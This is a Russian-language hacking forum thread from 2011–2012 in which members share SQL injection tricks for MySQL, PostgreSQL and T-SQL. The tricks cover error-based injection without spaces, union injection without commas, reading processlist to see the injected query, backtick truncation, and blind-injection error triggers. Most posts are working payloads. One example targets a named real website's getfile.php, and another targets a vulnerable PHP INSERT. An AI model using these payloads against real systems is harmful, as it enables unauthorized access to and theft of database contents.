Старый 02.10.2011, 19:58   #11
v1d0q
 
Аватар для v1d0q
 
Регистрация: 09.07.2010
Сообщений: 91
Репутация: 85
По умолчанию

Когда нужно вывести информацию через error based sqli, без пробелов. Первый вариант который приходит это

Код:
'or(1,2)=(select*from(select(name_const(version(),1)),name_const(version(),1))a)and(1)='1/
Но этот вариант работает не всегда, почему? Я уже когда-то писал, нету времени искать.

Рабочий вариант который должен работать всегда был придуман примерно год назад, но о котором почему-то никто не написал.
BlackFun предложил использовать `` в name_const (за что ему большое спасибо), а я в свою очередь впихнуть в свой запрос, в котором мне так сильно были нужны кавычки для чтобы заставить "его" работать. (Заметка: в браузера работать не будет)

Код HTML:
1'and(1)=(select*from(select*from(information_schema.tables`a`)JOIN(information_schema.tables`b`)using(TABLE_CATALOG,TABLE_SCHEMA))c)='1
v1d0q вне форума   Ответить с цитированием
Старый 15.10.2011, 11:00   #12
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

На mysql >= 5.1 можно узнать в каком запросе инъекция посмотрев в infomation_schema.processlist колонку info.
Соответственно, в "слепых" инъекциях может помочь понять почему именно она слепая и как докрутить до нормальной.
Но при этом нужно правильно считать динамическую часть запроса, в которой, собственно, и строется условие для слепой инъекции.

Примерчик:
Код:
http://www.alis.aero/getfile.php?id=-1+union+select+1,2,3,4,5,6,7,info,9,10+from+information_schema.processlist--+
BlackFan вне форума   Ответить с цитированием
Старый 06.11.2011, 22:11   #13
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Проведение инъекций без использования запятых.

В случае, если запятые используются в качестве разделителей (в поиске) или отфильтровываются.
Вместо конструкции
Код:
union select 1,2,3
Можно использовать
Код:
union select * from (select 1)a join (select 2)b join (select 3)c
BlackFan вне форума   Ответить с цитированием
Старый 07.11.2011, 08:59   #14
ForeverFree
 
Регистрация: 11.10.2011
Сообщений: 24
Репутация: 0
По умолчанию

Кстати этот вариант можно использовать и на T-SQL и на PostgresSQL, только обязательно нужно будет указывать обязательно выполняющееся условие для джойна (ON/WITH) типа:
[POSTGRES]
Код:
select 1,2,3,4 from fotos_likes union select * from (select 1) as a left join (select 2) as b ON 1=1 left join (select 3) as c ON 1=1 left join (select 4) as d ON 1=1
В противном случае будем ловить:
Код:
********** Ошибка **********
ERROR: syntax error at end of input
SQL-состояние: 42601
А также обращать внимание на то, что если возникает ошибке вида:
Код:
ERROR:  UNION types character varying and integer cannot be matched
LINE 1: select * from fotos_likes union select * from (select 1) as ...
                                               ^
********** Ошибка **********
ERROR: UNION types character varying and integer cannot be matched
SQL-состояние: 42804
При таком запросе
Код:
select * from fotos_likes union select * from (select 1) as a join (select 2) as b ON 1=1 join (select 3) as c ON 1=1 join (select 4) as d ON 1=1
То мы можем легко поменять * на те самые 1,2,3,4 и применить cast() к интересующему нас полю, типа так:
Код:
select * from fotos_likes union select 1,2,3,cast(4 as varchar) from (select 1) as a join (select 2) as b ON 1=1 join (select 3) as c ON 1=1 join (select 4) as d ON 1=1
Что однако не прокатит в качестве варианта, когда использовать , в качестве разделите нельзя Немного подумаю над решением.
...upd...
Я тупой Просто ставим cast в JOIN и все работает:
Код:
select * from fotos_likes where 1=1 union select * from (select 1)a join (select 2)b ON 1=1 join (select 3)c ON 1=1 join (select cast(4 as varchar))d ON 1=1

Последний раз редактировалось ForeverFree; 07.11.2011 в 12:42.. Причина: я тупой(
ForeverFree вне форума   Ответить с цитированием
Старый 16.01.2012, 19:19   #15
xanxy
 
Регистрация: 06.11.2011
Сообщений: 5
Репутация: 1
По умолчанию

Цитата:
Сообщение от BlackFan Посмотреть сообщение
На mysql >= 5.1 можно узнать в каком запросе инъекция посмотрев в infomation_schema.processlist колонку info.
Соответственно, в "слепых" инъекциях может помочь понять почему именно она слепая и как докрутить до нормальной.
Но при этом нужно правильно считать динамическую часть запроса, в которой, собственно, и строется условие для слепой инъекции.

Примерчик:
Код:
http://www.alis.aero/getfile.php?id=-1+union+select+1,2,3,4,5,6,7,info,9,10+from+information_schema.processlist--+
хочу дополнить.
недавно наткнулся на такую версию 5.0.77-percona-highperf-b13-log, и там тоже была доступна processlist..
xanxy вне форума   Ответить с цитированием
Старый 13.03.2012, 20:05   #16
Corwin
 
Регистрация: 25.10.2011
Сообщений: 22
Репутация: 45
По умолчанию

Цитата:
Комментарии:

"/*" многострочный (в MySql >= 5.0.51 обязательно наличие закрывающего "*/")
"-- " Однострочный (пробел после "--" обязателен )
"#" Однострочный (%23)
может боян, но в качестве многострочного комментария еще может использоваться backtick `(%60)

select 1 union select table_name from information_schema.tables` order by asd
Corwin вне форума   Ответить с цитированием
Старый 05.04.2012, 20:34   #17
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию

надо было по быстрому найти возможность вызова ошибки в запросе по условию для блинда.
придумал такой вариант:
select ExtractValue(0,if(0,0x0,9)) => 9
select ExtractValue(0,if(1,0x0,9)) => SQL Error (1105): XPATH syntax error: ''
DrakonHaSh вне форума   Ответить с цитированием
Старый 14.04.2012, 11:52   #18
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

Цитата:
Сообщение от Corwin Посмотреть сообщение
может боян, но в качестве многострочного комментария еще может использоваться backtick `(%60)

select 1 union select table_name from information_schema.tables` order by asd
Хорошая находка, но все же надо было расписать, что это такое на самом деле.
Конечно же это не многострочный и вообще не комментарий.

В данном случае, все, что идет после обратной кавычки до конца строки (в т.ч. и символы \r\n) будет воспринято, как алиас таблицы (information_schema.tables), поскольку закрывающая кавычка отсутствует, что эквивалентно действию многострочного комментария.

Отсюда разница в эксплуатации со штатным комментарием - нельзя backtick поставить в произвольном месте (как -- ,/*,#) нужно достраивать конструкцию до состояния, когда backtick начинает алиас таблицы или поля.
По типу
PHP код:
$query "SELECT id, login, password FROM user where login='".$_GET[id]."'
            and group=2        
            limit 1"

id=-1'+union+select+1,2,version()`
id=-1'+union+select+1,2,table_name+from+information_sc hema.tables+where+table_name+like+'%user%'+limit+0 ,1+union+select+1,2,3%60
nikp вне форума   Ответить с цитированием
Старый 14.04.2012, 12:10   #19
Corwin
 
Регистрация: 25.10.2011
Сообщений: 22
Репутация: 45
По умолчанию

Цитата:
Конечно же это не многострочный и вообще не комментарий.
В данном случае, все, что идет после обратной кавычки до конца строки (в т.ч. и символы \r\n) будет воспринято, как алиас таблицы
да, я знаю, что это алиас, поэтому написал "в качестве многострочного комментария". вот видишь, ты не поленился и расписал, отлично

Последний раз редактировалось Corwin; 05.07.2012 в 20:47..
Corwin вне форума   Ответить с цитированием
Старый 27.07.2012, 09:59   #20
Boolean
 
Регистрация: 19.10.2011
Сообщений: 111
Репутация: 34
По умолчанию

Как добавление по использованию ` в качестве многострочного комментария.
Уязвимый код:
PHP код:
[...]
mysql_query("INSERT INTO changes
                           (id,name,uid)
                     VALUES('', 
                            '
$_REQUEST[name]', 
                            '
$uid')"
        or die(
mysql_error());
[...] 
Увидеть контент, находящийся в таблице не представляло возможности, потому только error based.
Выкрутился так:
Код:
name=','1')  ON DUPLICATE KEY UPDATE a=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a),d=`rdot.org
__________________
|
Boolean вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot